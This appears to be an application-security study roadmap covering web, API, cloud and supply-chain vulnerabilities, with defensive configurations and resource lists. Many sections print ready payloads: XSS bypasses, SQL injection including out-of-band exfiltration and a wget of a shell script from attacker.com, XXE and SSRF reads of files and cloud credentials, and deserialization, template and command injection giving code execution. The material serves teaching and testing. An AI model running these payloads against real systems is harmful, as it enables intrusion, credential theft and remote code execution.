A complete, detailed roadmap with extensive resources for mastering Application Security.
- Web Application Security Deep Dive
- Authentication & Authorization
- Business Logic Vulnerabilities
- Modern Frontend Security
- API Security
- Cloud & Serverless Security
- Supply Chain Security
- Advanced Injection Techniques
- Security Headers & Browser Security
- Mobile Application Security
- Memory Safety & Low-Level Security
- DevSecOps & CI/CD Security
- Tools Arsenal
- Practice Labs & Platforms
- Books & Resources
- Certifications Roadmap
- Interview Preparation
- Other Resources
Reflected XSS:
- Occurs when user input is immediately returned by a web application
- Payload is part of the request (URL, form input)
- Non-persistent, requires social engineering
Example: https://site.com/search?q=<script>alert(document.cookie)</script>
Stored XSS:
- Payload is stored on the server (database, file, cache)
- Executed when other users view the stored content
- More dangerous due to persistent nature
Example: Comment system storing malicious JavaScript
DOM-Based XSS:
- Vulnerability exists in client-side code
- Never sent to server, purely client-side
- Exploits unsafe JavaScript operations
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substring(1);
// Exploit: site.com#<img src=x onerror=alert(1)>Mutation XSS (mXSS):
- Occurs when browsers mutate HTML in unexpected ways
- Exploits browser parsing inconsistencies
<noscript><p title="</noscript><img src=x onerror=alert(1)>">Filter Bypass:
// Bypassing keyword filters
<img src=x onerror=alert`1`>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<img src=x onerror="alert(1)">
// Bypassing WAF with encoding
%3Cscript%3Ealert(1)%3C/script%3E
\u003cscript\u003ealert(1)\u003c/script\u003eXSS in Different Contexts:
// HTML Context
<div>USER_INPUT</div>
// Attribute Context
<input value="USER_INPUT">
// JavaScript Context
<script>var x = 'USER_INPUT';</script>
// CSS Context
<style>body { background: USER_INPUT; }</style>Resources:
- PortSwigger XSS Labs - 30+ hands-on labs
- XSS Game by Google - Progressive XSS challenges
- OWASP XSS Prevention Cheat Sheet
- PayloadsAllTheThings - XSS
- XSS Hunter - Blind XSS detection
- BeEF (Browser Exploitation Framework) - XSS exploitation
In-Band SQLi (Classic):
-- Error-based
' OR 1=1 --
' UNION SELECT NULL, version(), NULL --
-- Union-based
' UNION SELECT username, password FROM users --Blind SQLi:
-- Boolean-based
' AND 1=1 -- (True response)
' AND 1=2 -- (False response)
-- Time-based
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT SLEEP(5))a) --Out-of-Band SQLi:
-- DNS exfiltration
'; EXEC xp_dirtree '//attacker.com/'+@@version+'/' --
-- Using load_file() in MySQL
' UNION SELECT load_file(concat('\\\\',version(),'.attacker.com\\')) --- Input is stored safely but retrieved and used unsafely later
-- Registration: username = "admin'--"
-- Later query: UPDATE users SET status='active' WHERE username='admin'--'WAF Bypass:
-- Case variation
SeLeCt * FrOm users
-- Comment injection
SELECT/**/password/**/FROM/**/users
-- Encoding
%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%75%73%65%72%73
-- Double encoding
%2553%2545%254c%2545%2543%2554
-- Alternative syntax
SELECT{x password}FROM{x users}Database-Specific Exploitation:
MySQL:
-- Read files
' UNION SELECT load_file('/etc/passwd') --
-- Write files
' INTO OUTFILE '/var/www/html/shell.php' --PostgreSQL:
-- Command execution
'; COPY (SELECT '') TO PROGRAM 'wget http://attacker.com/shell.sh' --MSSQL:
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'whoami' --Resources:
- PortSwigger SQL Injection Labs - 20+ labs
- SQLMap Documentation - Automated SQLi tool
- SQL Injection Wiki - Comprehensive SQLi reference
- PentestMonkey SQL Injection Cheat Sheet
- OWASP SQL Injection Prevention Cheat Sheet
<!-- Attacker's page -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>1. Check if token is validated
2. Try removing token parameter
3. Try empty token value
4. Use another user's token
5. Try changing request method (POST to GET)
6. Check for CORS misconfiguration
Login CSRF:
- Trick user into logging into attacker's account
- User adds sensitive data to attacker's account
Resources:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data><!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;<!-- Expect module (PHP)-->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<!-- Via file upload -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>Resources:
http://vulnerable-site.com/fetch?url=http://localhost:8080/admin
http://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/
# IP obfuscation
http://127.0.0.1 → http://127.1
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)
# DNS rebinding
attacker-controlled-domain → 127.0.0.1
# URL parser confusion
http://[email protected]
http://attacker.com#expected.com
http://expected.com.attacker.com
# Protocol smuggling
dict://127.0.0.1:11211/stats
gopher://127.0.0.1:6379/_SET%20key%20value
AWS:
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
GCP:
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
Resources:
// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();Exploitation:
- Use ysoserial to generate payloads
java -jar ysoserial.jar CommonsCollections6 'calc.exe' | base64// Vulnerable code
$data = unserialize($_COOKIE['user']);
// Magic methods exploited
__wakeup(), __destruct(), __toString()import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('whoami',))
pickle.dumps(RCE())Resources:
- PortSwigger Deserialization Labs
- ysoserial - Java deserialization payloads
- phpggc - PHP deserialization chains
1. Redirect URI Manipulation:
# Open redirect
redirect_uri=https://client.com/callback/../../attacker.com
# Subdomain takeover
redirect_uri=https://old-subdomain.client.com
# Path traversal
redirect_uri=https://client.com/callback/../../../attacker.com
2. State Parameter Issues:
- Missing state parameter (CSRF)
- Predictable state values
- State not properly validated
3. Authorization Code Interception:
# Improper redirect_uri validation
redirect_uri=https://client.com.attacker.com
redirect_uri=https://attacker.com/client.com
redirect_uri=https://[email protected]
4. Implicit Flow Vulnerabilities:
# Token in URL fragment
https://client.com/callback#access_token=abc123&token_type=Bearer
# Token leakage via Referer header
# Generate code verifier and challenge
code_verifier = random_string(43-128 chars)
code_challenge = base64url(sha256(code_verifier))
# Authorization request
/authorize?code_challenge=CHALLENGE&code_challenge_method=S256
# Token request
/token?code=AUTH_CODE&code_verifier=VERIFIER
header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U
1. Algorithm Confusion (alg: none):
{
"alg": "none",
"typ": "JWT"
}2. Key Confusion (RS256 to HS256):
- Server expects asymmetric (RS256) but accepts symmetric (HS256)
- Use public key as HMAC secret
3. Weak Secret Keys:
# Crack JWT secret
hashcat -m 16500 jwt.txt wordlist.txt
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt4. JWT Claims Manipulation:
{
"sub": "user123",
"role": "admin", // Escalate privileges
"exp": 9999999999 // Extend expiration
}5. JKU/X5U Header Injection:
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json" // Point to attacker's keys
}Resources:
- JWT.io - Decode and verify JWTs
- jwt_tool - JWT security testing
- PortSwigger JWT Labs
- OWASP JWT Cheat Sheet
1. Response Manipulation:
// Intercept response
{"mfa_required": true, "authenticated": false}
// Modify to
{"mfa_required": false, "authenticated": true}2. Direct Request to Protected Resource:
- Skip MFA step entirely
- Access /dashboard directly after password authentication
3. CSRF on MFA Enrollment:
<form action="https://target.com/mfa/disable" method="POST">
<input type="hidden" name="disable_mfa" value="true">
</form>4. Brute Force OTP:
# If rate limiting is weak
for code in range(100000, 999999):
attempt_otp(code)5. OAuth Flow Manipulation:
- Complete OAuth without MFA
- Reuse old session tokens
6. Password Reset Bypass:
- Reset password to bypass MFA
- Check if MFA is required during reset flow
// Vulnerable code - session ID not regenerated after login
session_start();
if (login_successful) {
$_SESSION['user'] = $username;
}
// Attack:
1. Attacker gets session ID: PHPSESSID=abc123
2. Victim logs in with abc123
3. Attacker uses abc123 to hijack session1. XSS to steal cookies: document.cookie
2. Network sniffing (unencrypted HTTP)
3. Session prediction
4. Session fixation
5. CSRF
// Regenerate session ID after login
session_regenerate_id(true);
// Set secure cookie flags
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => '.example.com',
'secure' => true, // HTTPS only
'httponly' => true, // No JavaScript access
'samesite' => 'Strict' // CSRF protection
]);Resources:
# Vulnerable code
def transfer_money(from_account, to_account, amount):
# Check balance
if get_balance(from_account) >= amount: # TOCTOU vulnerability
time.sleep(0.1) # Processing delay
# Update balance
debit(from_account, amount)
credit(to_account, amount)
# Attack: Send multiple simultaneous requests
# Request 1: Transfer $100 (balance: $100)
# Request 2: Transfer $100 (balance: $100)
# Both checks pass before either debit occurs# User has $100, daily limit $100
# Send 10 simultaneous requests for $10
# All pass balance check before first completes
# Result: $100 withdrawn, balance: -$0
# Using Turbo Intruder (Burp Suite extension)
for i in range(20):
queue(request)
engine.start(threads=20)
# Using Python
import threading
import requests
def make_request():
requests.post('http://target.com/transfer', data={'amount': 100})
threads = [threading.Thread(target=make_request) for _ in range(20)]
for t in threads: t.start()1. Negative quantities
quantity=-5&price=100 (credit instead of charge)
2. Decimal manipulation
price=0.01 instead of price=1.00
3. Integer overflow
quantity=2147483648 (wraps to negative)
4. Currency manipulation
currency=USD → currency=IDR (Indonesian Rupiah)
5. Discount stacking
Apply multiple discount codes
6. Parameter tampering
item_price=100 → item_price=1 (client-side)
POST /checkout HTTP/1.1
items[0][id]=12345&items[0][price]=99.99&items[0][quantity]=1Change to:
items[0][id]=12345&items[0][price]=0.01&items[0][quantity]=1# Access another user's data
GET /api/user/1234/profile (your user ID)
GET /api/user/5678/profile (try other IDs - IDOR)
# Modify role in request
POST /api/user/update
{"user_id": 1234, "role": "admin"}
# Access admin endpoints directly
GET /admin/dashboard
GET /api/admin/users
# Parameter pollution
POST /update?role=user&role=admin
# Try accessing admin fields
query {
user(id: "123") {
name
email
isAdmin
adminSecret
}
}
# Mutation privilege escalation
mutation {
updateUser(id: "123", role: ADMIN) {
id
role
}
}1. User profiles: /user/12345
2. Documents: /download?file_id=678
3. API endpoints: /api/order/9101
4. Invoices: /invoice/INV-2024-001
5. Messages: /message/msg_abc123
6. Files: /files/document.pdf
1. Sequential IDs: 1, 2, 3, 4...
2. Predictable patterns: INV-2024-001, INV-2024-002
3. Encoded IDs: Base64, Hex, UUID
4. Hash-based IDs: MD5, SHA1 of predictable values
5. Parameter pollution: id=123&id=456
6. Wildcard: id=*
# Numeric to array
GET /api/order/123
GET /api/order/[123,456,789]
# Add parameters
GET /api/order/123?user_id=456
# Different HTTP methods
GET /api/order/123 → 403 Forbidden
DELETE /api/order/123 → 200 OK
# Different content types
Content-Type: application/json → blocked
Content-Type: application/x-www-form-urlencoded → allowed1. Token prediction/brute force
2. Token reuse
3. Token doesn't expire
4. Token sent in URL (Referer leakage)
5. Host header injection
6. Email parameter manipulation
7. Password reset link poisoning
1. Response manipulation: {"verified": true}
2. Race condition during verification
3. Wildcard domain verification
4. Case sensitivity: [email protected] vs [email protected]
5. Unicode normalization
Resources:
- PortSwigger Business Logic Labs
- OWASP Testing Guide - Business Logic
- HackerOne Disclosed Reports - Real business logic bugs
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.googleapis.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;// JSONP endpoint bypass
<script src="https://trusted.com/jsonp?callback=alert"></script>
// AngularJS sandbox escape (old versions)
{{constructor.constructor('alert(1)')()}}
// Dangling markup injection
<img src='https://attacker.com?
// Base tag injection
<base href="https://attacker.com/"><!-- Server generates random nonce -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-r4nd0m'">
<!-- Only scripts with matching nonce execute -->
<script nonce="r4nd0m">
// This runs
</script>
<script>
// This is blocked
</script><!-- Ensure CDN resources haven't been tampered with -->
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdn.example.com/style.css"
integrity="sha384-..." crossorigin="anonymous">Generate SRI Hash:
openssl dgst -sha384 -binary library.js | openssl base64 -A// Enable Trusted Types via CSP
Content-Security-Policy: require-trusted-types-for 'script'
// Create policy
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (string) => {
// Sanitize and validate
return DOMPurify.sanitize(string);
},
createScriptURL: (string) => {
// Validate script URLs
if (string.startsWith('https://trusted.com/')) {
return string;
}
throw new TypeError('Invalid script URL');
}
});
// Use trusted types
element.innerHTML = policy.createHTML(userInput);// Vulnerable route
router.get('/admin', (req, res) => {
// No server-side auth check
return <AdminPanel />;
});
// Secure route
router.get('/admin', requireAuth, requireAdmin, (req, res) => {
return <AdminPanel />;
});// Vulnerable Redux state
{
user: {
id: 123,
role: "admin", // Don't trust client-side role
token: "secret" // Exposed in DevTools
}
}
// Secure approach
- Validate permissions server-side
- Store sensitive data in HttpOnly cookies
- Use short-lived tokens// Vulnerable Vue.js
<div v-html="userInput"></div>
// Vulnerable Angular
<div [innerHTML]="userInput"></div>
// Vulnerable React (less common)
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Safe alternatives
<div>{{ userInput }}</div> // Automatically escaped// Secure WebSocket connection
const ws = new WebSocket('wss://example.com/socket');
// Authentication
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'auth',
token: getAuthToken()
}));
};
// Validate origin server-side
app.ws('/socket', (ws, req) => {
const origin = req.headers.origin;
if (origin !== 'https://trusted.com') {
ws.close();
return;
}
});
// Message validation
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Validate message structure
if (!isValidMessage(data)) {
return;
}
processMessage(data);
};1. Missing origin validation
2. No authentication/authorization
3. CSRF attacks
4. Message injection
5. Denial of Service
// ❌ Insecure - XSS can steal
localStorage.setItem('token', 'secret123');
sessionStorage.setItem('apiKey', 'key123');
// ✓ Secure - HttpOnly cookie (XSS can't access)
Set-Cookie: token=secret123; HttpOnly; Secure; SameSite=Strict
// IndexedDB for non-sensitive data only
const request = indexedDB.open('AppDB', 1);
request.onsuccess = (event) => {
const db = event.target.result;
// Store non-sensitive user preferences
};Resources:
- MDN Web Security
- CSP Evaluator - Test CSP policies
- OWASP SPA Security Cheat Sheet
- WebSocket Security
API Key Security:
❌ In URL: /api/data?api_key=secret123
✓ In Header: Authorization: Bearer secret123
✓ In Cookie: HttpOnly cookie
OAuth 2.0 for APIs:
# Authorization Code Flow
GET /authorize?response_type=code&client_id=...&redirect_uri=...
# Token Exchange
POST /token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=...&redirect_uri=...
# API Request
GET /api/user/profile
Authorization: Bearer access_tokenJWT Best Practices:
{
"alg": "RS256", // Use asymmetric algorithms
"typ": "JWT",
"kid": "key-id-123"
}
{
"iss": "https://api.example.com",
"sub": "user123",
"aud": "api-resource",
"exp": 1234567890, // Short expiration
"iat": 1234567800,
"jti": "unique-token-id", // Prevent replay
"scope": ["read", "write"]
}# Rate limit headers
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 999
X-RateLimit-Reset: 1234567890
Retry-After: 3600
# HTTP 429 Too Many RequestsImplementation:
from flask_limiter import Limiter
limiter = Limiter(
app,
key_func=lambda: request.headers.get('X-API-Key'),
default_limits=["1000 per day", "100 per hour"]
)
@app.route("/api/data")
@limiter.limit("10 per minute")
def get_data():
return jsonify(data)❌ v1.example.com/api (subdomain takeover risk)
✓ api.example.com/v1 (path-based, secure)
# Deprecation headers
Sunset: Sat, 31 Dec 2024 23:59:59 GMT
Deprecation: true
Link: <https://api.example.com/v2>; rel="successor-version"
from marshmallow import Schema, fields, validate
class UserSchema(Schema):
username = fields.Str(
required=True,
validate=validate.Length(min=3, max=50)
)
email = fields.Email(required=True)
age = fields.Int(
validate=validate.Range(min=0, max=120)
)
# Validate request
schema = UserSchema()
errors = schema.validate(request.json)
if errors:
return jsonify(errors), 400# ❌ Vulnerable
user = User(**request.json) # Attacker can set admin=True
# ✓ Secure - whitelist allowed fields
allowed_fields = ['username', 'email', 'age']
user_data = {k: v for k, v in request.json.items() if k in allowed_fields}
user = User(**user_data)# Disable introspection in production
query IntrospectionQuery {
__schema {
types {
name
fields {
name
args {
name
type {
name
}
}
}
}
}
}Disable Introspection:
const schema = new GraphQLSchema({
query: RootQuery,
mutation: RootMutation
});
// Disable in production
if (process.env.NODE_ENV === 'production') {
schema = removeIntrospection(schema);
}import depthLimit from 'graphql-depth-limit';
import { createComplexityLimitRule } from 'graphql-validation-complexity';
const server = new ApolloServer({
schema,
validationRules: [
depthLimit(10), // Max depth
createComplexityLimitRule(1000) // Max complexity
]
});# Attacker sends 100 queries in one request
[
{ query: "query { user(id: 1) { name } }" },
{ query: "query { user(id: 2) { name } }" },
# ... 98 more
]Protection:
// Limit batch size
const server = new ApolloServer({
schema,
context: ({ req }) => {
if (Array.isArray(req.body) && req.body.length > 10) {
throw new Error('Batch size too large');
}
}
});// ❌ Field-level authorization in resolvers
const resolvers = {
Query: {
users: async (parent, args, context) => {
if (!context.user.isAdmin) {
throw new Error('Unauthorized');
}
return await User.findAll();
}
},
User: {
email: async (user, args, context) => {
// Check if requester can see email
if (context.user.id !== user.id && !context.user.isAdmin) {
return null;
}
return user.email;
}
}
};
// ✓ Use authorization directive
const typeDefs = gql`
type User {
id: ID!
name: String!
email: String! @auth(requires: [ADMIN, OWNER])
}
`;# Each user triggers a separate database query
query {
users {
id
posts { # N+1 problem
title
}
}
}Solution - DataLoader:
const DataLoader = require('dataloader');
const postLoader = new DataLoader(async (userIds) => {
const posts = await Post.findAll({
where: { userId: userIds }
});
return userIds.map(id =>
posts.filter(post => post.userId === id)
);
});
const resolvers = {
User: {
posts: (user, args, { postLoader }) => {
return postLoader.load(user.id);
}
}
};# ❌ Permissive CORS
cors:
origin: "*"
credentials: true
# ✓ Restrictive CORS
cors:
origin: "https://trusted-domain.com"
credentials: true
methods: ["GET", "POST"]
headers: ["Content-Type", "Authorization"]# Remove sensitive headers
response:
remove_headers:
- X-Powered-By
- Server
- X-AspNet-Version
add_headers:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000Resources:
- OWASP API Security Top 10
- REST Security Cheat Sheet
- GraphQL Security
- API Security Checklist
- Damn Vulnerable GraphQL Application
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": "arn:aws:s3:::my-bucket/user/${aws:username}/*",
"Condition": {
"IpAddress": {
"aws:SourceIp": "203.0.113.0/24"
}
}
}
]
}# Check for public buckets
aws s3api get-bucket-acl --bucket my-bucket
# Block public access
aws s3api put-public-access-block \
--bucket my-bucket \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Enable versioning
aws s3api put-bucket-versioning \
--bucket my-bucket \
--versioning-configuration Status=Enabled
# Enable encryption
aws s3api put-bucket-encryption \
--bucket my-bucket \
--server-side-encryption-configuration \
'{"Rules": [{"ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "AES256"}}]}'# ❌ Hardcoded credentials
import boto3
s3 = boto3.client('s3',
aws_access_key_id='AKIAIOSFODNN7EXAMPLE',
aws_secret_access_key='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'
)
# ✓ Use IAM roles
import boto3
import os
s3 = boto3.client('s3') # Uses Lambda execution role
# ✓ Use environment variables with encryption
api_key = os.environ.get('API_KEY') # Encrypted at rest with KMSLambda Function Security:
# Least privilege IAM role
Resources:
LambdaExecutionRole:
Type: AWS::IAM::Role
Properties:
AssumeRolePolicyDocument:
Statement:
- Effect: Allow
Principal:
Service: lambda.amazonaws.com
Action: sts:AssumeRole
Policies:
- PolicyName: LambdaPolicy
PolicyDocument:
Statement:
- Effect: Allow
Action:
- logs:CreateLogGroup
- logs:CreateLogStream
- logs:PutLogEvents
Resource: !Sub "arn:aws:logs:${AWS::Region}:${AWS::AccountId}:*"
- Effect: Allow
Action:
- s3:GetObject
Resource: !Sub "arn:aws:s3:::${BucketName}/uploads/*"import boto3
import json
def get_secret():
client = boto3.client('secretsmanager', region_name='us-east-1')
response = client.get_secret_value(SecretId='prod/api/key')
secret = json.loads(response['SecretString'])
return secret['api_key']
# Use secret
api_key = get_secret()# Use specific version tags
FROM node:18.17.0-alpine3.18
# Don't run as root
RUN addgroup -g 1001 -S nodejs && \
adduser -S nodejs -u 1001
# Copy only necessary files
COPY --chown=nodejs:nodejs package*.json ./
RUN npm ci --only=production
COPY --chown=nodejs:nodejs . .
# Use non-root user
USER nodejs
# Expose only necessary ports
EXPOSE 3000
# Health check
HEALTHCHECK --interval=30s --timeout=3s \
CMD node healthcheck.js || exit 1
CMD ["node", "server.js"]# Trivy
trivy image node:18.17.0-alpine3.18
# Snyk
snyk container test node:18.17.0-alpine3.18
# Grype
grype node:18.17.0-alpine3.18Pod Security Policy:
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
readOnlyRootFilesystem: trueNetwork Policies:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-network-policy
spec:
podSelector:
matchLabels:
app: api
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432Secrets Management:
# ❌ Don't store secrets in ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
name: app-config
data:
API_KEY: "secret123" # Bad!
# ✓ Use Secrets
apiVersion: v1
kind: Secret
metadata:
name: app-secrets
type: Opaque
data:
API_KEY: c2VjcmV0MTIz # Base64 encoded
# ✓✓ Better - use external secrets
# Use AWS Secrets Manager, HashiCorp Vault, etc.
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
name: app-secrets
spec:
secretStoreRef:
name: aws-secrets-manager
target:
name: app-secrets
data:
- secretKey: API_KEY
remoteRef:
key: prod/api/key# Lambda authorizer
Resources:
ApiGatewayAuthorizer:
Type: AWS::ApiGateway::Authorizer
Properties:
Name: LambdaAuthorizer
Type: TOKEN
AuthorizerUri: !Sub "arn:aws:apigateway:${AWS::Region}:lambda:path/2015-03-31/functions/${AuthorizerFunction.Arn}/invocations"
AuthorizerResultTtlInSeconds: 300
IdentitySource: method.request.header.AuthorizationLambda Authorizer:
import json
import jwt
def lambda_handler(event, context):
token = event['authorizationToken']
try:
# Verify JWT
payload = jwt.decode(token, 'secret', algorithms=['HS256'])
# Generate policy
return generate_policy(payload['sub'], 'Allow', event['methodArn'])
except:
return generate_policy('user', 'Deny', event['methodArn'])
def generate_policy(principal_id, effect, resource):
return {
'principalId': principal_id,
'policyDocument': {
'Version': '2012-10-17',
'Statement': [{
'Action': 'execute-api:Invoke',
'Effect': effect,
'Resource': resource
}]
}
}# ❌ Vulnerable to event injection
def lambda_handler(event, context):
user_id = event['pathParameters']['userId']
# Execute command based on user input
os.system(f"process_user {user_id}") # Command injection!
# ✓ Secure
import subprocess
import shlex
def lambda_handler(event, context):
user_id = event['pathParameters']['userId']
# Validate input
if not user_id.isalnum():
return {'statusCode': 400, 'body': 'Invalid user ID'}
# Use subprocess with array
subprocess.run(['process_user', user_id], check=True)Resources:
- AWS Security Best Practices
- CIS AWS Foundations Benchmark
- Kubernetes Security Cheat Sheet
- ScoutSuite - Multi-cloud security auditing
- Prowler - AWS security assessment
- kube-bench - Kubernetes CIS benchmark
1. Attacker finds internal package: @company/[email protected]
2. Attacker publishes malicious: @company/[email protected] to npm
3. Build system pulls higher version from public registry
4. Malicious code executed in company's infrastructure
// .npmrc
@company:registry=https://npm.company.com/
registry=https://registry.npmjs.org/
// package.json - lock down dependencies
{
"dependencies": {
"@company/auth-lib": "npm:@company/[email protected]"
}
}# Check for similar package names
npm search react-dom
npm search reactdom
npm search react-domm
# Use tools
npm install -g @socketregistry/typosquat
typosquat check package.json# Generate SBOM with Syft
syft packages dir:. -o json > sbom.json
# Generate SBOM with CycloneDX
cyclonedx-bom -o sbom.xml
# Scan SBOM for vulnerabilities
grype sbom:./sbom.json# npm
npm ci # Install from package-lock.json exactly
# Verify integrity
npm audit
# yarn
yarn install --frozen-lockfile
# pnpm
pnpm install --frozen-lockfile# Sign npm package
npm pack
gpg --detach-sign --armor package.tgz
# Verify
gpg --verify package.tgz.asc package.tgz
# Docker image signing with Cosign
cosign sign --key cosign.key image:tag
# Verify
cosign verify --key cosign.pub image:tag# Artifactory/Nexus security
repositories:
- id: company-private
url: https://artifacts.company.com/maven2
authentication:
type: token
policies:
- block-public-dependencies: false
- scan-on-upload: true
- quarantine-on-critical: trueResources:
- OWASP Dependency-Check
- Snyk - Dependency scanning
- Dependabot - Automated dependency updates
- Socket.dev - Supply chain security
- Syft - SBOM generation
- Grype - Vulnerability scanner
# Vulnerable code
from flask import Flask, request, render_template_string
@app.route('/hello')
def hello():
name = request.args.get('name')
template = f'<h1>Hello {name}!</h1>'
return render_template_string(template) # SSTI vulnerability
# Exploitation
{{7*7}} # Test: returns 49
{{config.items()}} # Dump config
{{''.__class__.__mro__[1].__subclasses__()}} # Get classes
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # RCE// Vulnerable code
Template template = cfg.getTemplate("hello.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", request.getParameter("name"));
template.process(data, out);
// Exploitation
${"freemarker.template.utility.Execute"?new()("calc.exe")}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }// Vulnerable
$twig = new Twig_Environment($loader);
echo $twig->render('hello.html', ['name' => $_GET['name']]);
// Exploitation
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}// Vulnerable code
db.users.find({
username: req.body.username,
password: req.body.password
});
// Attack payload
{
"username": {"$ne": null},
"password": {"$ne": null}
}
// Returns all users
// Advanced exploitation
{
"username": "admin",
"password": {"$regex": "^a"} // Regex-based password enumeration
}MongoDB Operators to Test:
$ne - not equal
$gt, $gte - greater than
$lt, $lte - less than
$in - in array
$nin - not in array
$regex - regular expression
$where - JavaScript execution
$expr - aggregation expressions// Use strict schema validation
const userSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});
// Sanitize input
const username = req.body.username.toString();
const password = req.body.password.toString();
db.users.findOne({ username, password });# Vulnerable query
(&(uid=username)(password=password))
# Injection payload
username: *)(uid=*))(|(uid=*
password: anything
# Resulting query
(&(uid=*)(uid=*))(|(uid=*)(password=anything))
# Returns all users
# Bypass authentication
username: admin)(&(password=*))%00
<!-- Vulnerable query -->
//users/user[username='$username' and password='$password']
<!-- Injection payload -->
username: ' or '1'='1
password: ' or '1'='1
<!-- Resulting query -->
//users/user[username='' or '1'='1' and password='' or '1'='1']# Vulnerable code
import os
filename = request.args.get('file')
os.system(f'cat {filename}')
# Exploitation
file=test.txt; whoami
file=test.txt && whoami
file=test.txt | whoami
file=`whoami`
file=$(whoami)
file=test.txt%0Awhoami # Newline injection
# Blind command injection with DNS
file=test.txt; nslookup `whoami`.attacker.comSecure Alternative:
import subprocess
import shlex
filename = request.args.get('file')
# Validate input
if not filename.isalnum():
return "Invalid filename", 400
# Use subprocess with array (no shell)
result = subprocess.run(
['cat', filename],
capture_output=True,
text=True,
timeout=5
)// Vulnerable
String expression = "${" + userInput + "}";
Object result = context.getELResolver().getValue(context, null, expression);
// Exploitation
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")}// Vulnerable
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(context);
// Exploitation
T(java.lang.Runtime).getRuntime().exec('calc.exe')Resources:
- PayloadsAllTheThings - Comprehensive injection payloads
- HackTricks - Injection
- SSTI (Server Side Template Injection)
- NoSQL Injection
# Prevent clickjacking
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
# Prevent MIME sniffing
X-Content-Type-Options: nosniff
# Enable XSS filter
X-XSS-Protection: 1; mode=block
# HTTPS enforcement
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Referrer policy
Referrer-Policy: strict-origin-when-cross-origin
# Permissions policy
Permissions-Policy: geolocation=(), microphone=(), camera=()
# Cross-Origin policies
Cross-Origin-Embedder-Policy: require-corp
